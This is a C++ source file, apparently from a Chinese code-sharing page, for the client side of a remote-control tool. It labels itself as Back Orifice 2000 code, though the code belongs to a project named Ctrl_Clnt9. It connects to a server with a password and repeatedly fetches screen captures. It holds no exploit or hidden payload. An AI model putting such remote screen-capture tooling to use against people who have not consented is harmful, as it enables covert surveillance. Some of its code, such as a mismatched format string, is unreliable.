📄 getimage.cpp
字号:
/* Back Orifice 2000 - Remote Administration Suite
Copyright (C) 1999, Cult Of The Dead Cow
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
The author of this program may be contacted at dildog@l0pht.com. */
#include "stdafx.h"
#include "Ctrl_Clnt9.h"
#include "Ctrl_Clnt9Doc.h"
#include "mainfrm.h"
#include "windowsx.h"
#include "GetImage.H"
#include "huffman.H"
#include "DlgGetPos.H"
#include "..\\CtrlSrvr2\DEF_CMD_ID.H"
/*
int CmdProc_SysLogImage(void);
int CmdProc_SysEndLogImage(void);
DWORD WINAPI ImageCapThread(LPVOID param);
*/
extern CCtrl_Clnt9App theApp;
HANDLE g_hImageCapThread = NULL;
BOOL g_bImageLogging = FALSE;
BOOL g_bImageExit = FALSE;
DWORD g_dwImageCapTID;
CDocument *g_pDoc = NULL;
//打开线程
int CmdProc_SysLogImage()
{
if(g_bImageLogging == TRUE)
return -1;
g_hImageCapThread = CreateThread(NULL,0,ImageCapThread,
0,0,
&g_dwImageCapTID);
if(g_hImageCapThread==NULL)
return -1;
return 0;
}
//关闭线程
int CmdProc_SysEndLogImage(void)
{
int i = 100;
if(g_bImageLogging==FALSE)
return 0;
g_bImageLogging=FALSE; //退出
if(WaitForSingleObject(g_hImageCapThread,5000)==WAIT_OBJECT_0)
// return 0;
while(g_bImageExit==FALSE) {
Sleep(15); //等待退出
i--;
if (i == 0) TerminateProcess(g_hImageCapThread, 0);
}
// Sleep(1000);
// TerminateProcess(g_hImageCapThread, 0);
return -1;
}
extern int ReadSafe(CWSocket *lpWSK, char * lpData, int nSize);
//extern inline BOOL ConnectImage(void);
DWORD WINAPI ImageCapThread(LPVOID param)
{
SENDMSG SendMsg;
CCtrl_Clnt9Doc *lpDoc;
CWSocket wsk;
CHuffman Decode;
g_bImageLogging = TRUE;
g_bImageExit = FALSE;
lpDoc = (CCtrl_Clnt9Doc *)g_pDoc;
HGLOBAL hPackData = NULL, hBmpData = NULL, hBmpScr = NULL;
LPVOID lpPackData = NULL, lpBmpData = NULL, lpBmpScr = NULL;
DWORD dwOldSize = 0, dwSize, dwBmpInfoSize, dwMaxSize = -1;
// int nCell2, nCellSize = 1;
char *lpData;
CString strtmp;
// WORD wCmd;
CDlgGetPos* lpDlgScreen;
int nFirst = 1;
//Step 0:
if (lpDoc->m_bConnecting==FALSE)
{
AfxMessageBox("注意:连接已经中断,请重新连接!");
goto Exit01;
}
//Step 1: Connect to
if (!wsk.Connection(lpDoc->m_strServer, lpDoc->m_nPort))
{
AfxMessageBox("注意:无法抓取图象!");
goto Exit01;
}
if (ReadSafe(&wsk, (char *)&SendMsg, sizeof(SENDMSG)) < 0) goto Err01;
loop001:
while(g_bImageLogging)
{
//Step 2:Send Get image command
memset(&SendMsg, 0, sizeof(SENDMSG));
SendMsg.wCmd = CMD_GET_SCREEN;
memcpy(SendMsg.szPassword, lpDoc->m_strPassword, lpDoc->m_strPassword.GetLength());
SendMsg.rcArea = lpDoc->m_rcArea;
SendMsg.nArea = lpDoc->m_nArea ;
SendMsg.nBits = lpDoc->m_nBits;
SendMsg.nDelay = lpDoc->m_nEdtSecond;
SendMsg.nCompress = lpDoc->m_nCompress;
SendMsg.nCell = nFirst;
if (SendMsg.nCompress == 3) //动态
{
SendMsg.nArea = 0 ;//全屏
SendMsg.nBits = 24;//真彩
}
SendMsg.nJpegQ = lpDoc->m_nJpegQ;
//Step 1: Send command
if(!g_bImageLogging) goto Exit01;
if (wsk.SendData((char *)&SendMsg, sizeof(SENDMSG), 60) < 0)
goto Err01;
//Step 2: Get image struct
memset(&SendMsg,0, sizeof(SENDMSG));
if(!g_bImageLogging) goto Exit01;
if (ReadSafe(&wsk, (char *)&SendMsg, sizeof(SENDMSG)) < 0)
goto Err01;
if(SendMsg.dwBmpSize == 0) //图象无变化
{
if (!lpDoc->m_bDlgScreen) break;
lpDlgScreen = lpDoc->m_dlgGetScreen;
::SendMessage(lpDlgScreen->m_hWnd, WM_USER+300,NULL, (LPARAM)&SendMsg);
goto loop001;
}
//分配内存
dwBmpInfoSize = SendMsg.dwBmpInfoSize;
dwSize = SendMsg.dwBmpSize;
if (SendMsg.nCompress == 3)
dwSize += dwBmpInfoSize;
if (dwSize > dwMaxSize || lpBmpData == NULL)
{
if (lpBmpData) GlobalFree (lpBmpData);
lpBmpData = GlobalAlloc (GMEM_FIXED, dwSize);
dwMaxSize = dwSize;
}
if(lpBmpData == NULL) goto Err02;
lpData = (char *)lpBmpData;
if (SendMsg.nCompress == 3)//动态压缩
{
if(!g_bImageLogging) goto Exit01;
if (ReadSafe(&wsk, lpData, dwBmpInfoSize) < 0) goto Err01;
lpData += dwBmpInfoSize;
if(ReadSafe(&wsk, lpData, dwSize-dwBmpInfoSize) < 0) goto Err01;
nFirst = 0;
}
else//非动态压缩
{
if(!g_bImageLogging) goto Exit01;
if (ReadSafe(&wsk, lpData, dwSize) < 0) goto Err01;
nFirst = 1;
}
//Step 5: Show image
lpData = (char *)lpBmpData;
if (!lpDoc->m_bDlgScreen) break; //窗口已经关闭
lpDlgScreen = lpDoc->m_dlgGetScreen;
::SendMessage(lpDlgScreen->m_hWnd, WM_USER+300,(WPARAM)lpBmpData, (LPARAM)&SendMsg);
//lpDlgScreen->Get_Screen_Data (lpData,&SendMsg);
if(!g_bImageLogging) goto Exit01;
Sleep(lpDoc->m_nEdtSecond);
} //end while
Exit01:
wsk.SetTimeout(0);
wsk.Close();
Sleep(100);
if (lpBmpData)
GlobalFree(lpBmpData);
g_bImageExit = TRUE;
return 0;
Err02:
wsk.SetTimeout(0);
wsk.Close();
AfxMessageBox("MSG: Error fit memory !!! ",MB_OK);
goto Exit01;
Err01:
wsk.Close();
strtmp.Format("MSG: s%X error for socket %d", wsk);
lpDoc->DisplayMsg(strtmp);
if (!lpDoc->m_bConnectAuto) goto Exit01;
while(AfxMessageBox("注意:你确定要重新连接图象吗?",MB_YESNO) == IDYES)
{ Sleep(50);
if (wsk.Connection(lpDoc->m_strServer, lpDoc->m_nPort))
{
if (ReadSafe(&wsk, (char *)&SendMsg, sizeof(SENDMSG)) >= 0)
{
nFirst = 1;
goto loop001;
}
}
}
goto Exit01;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -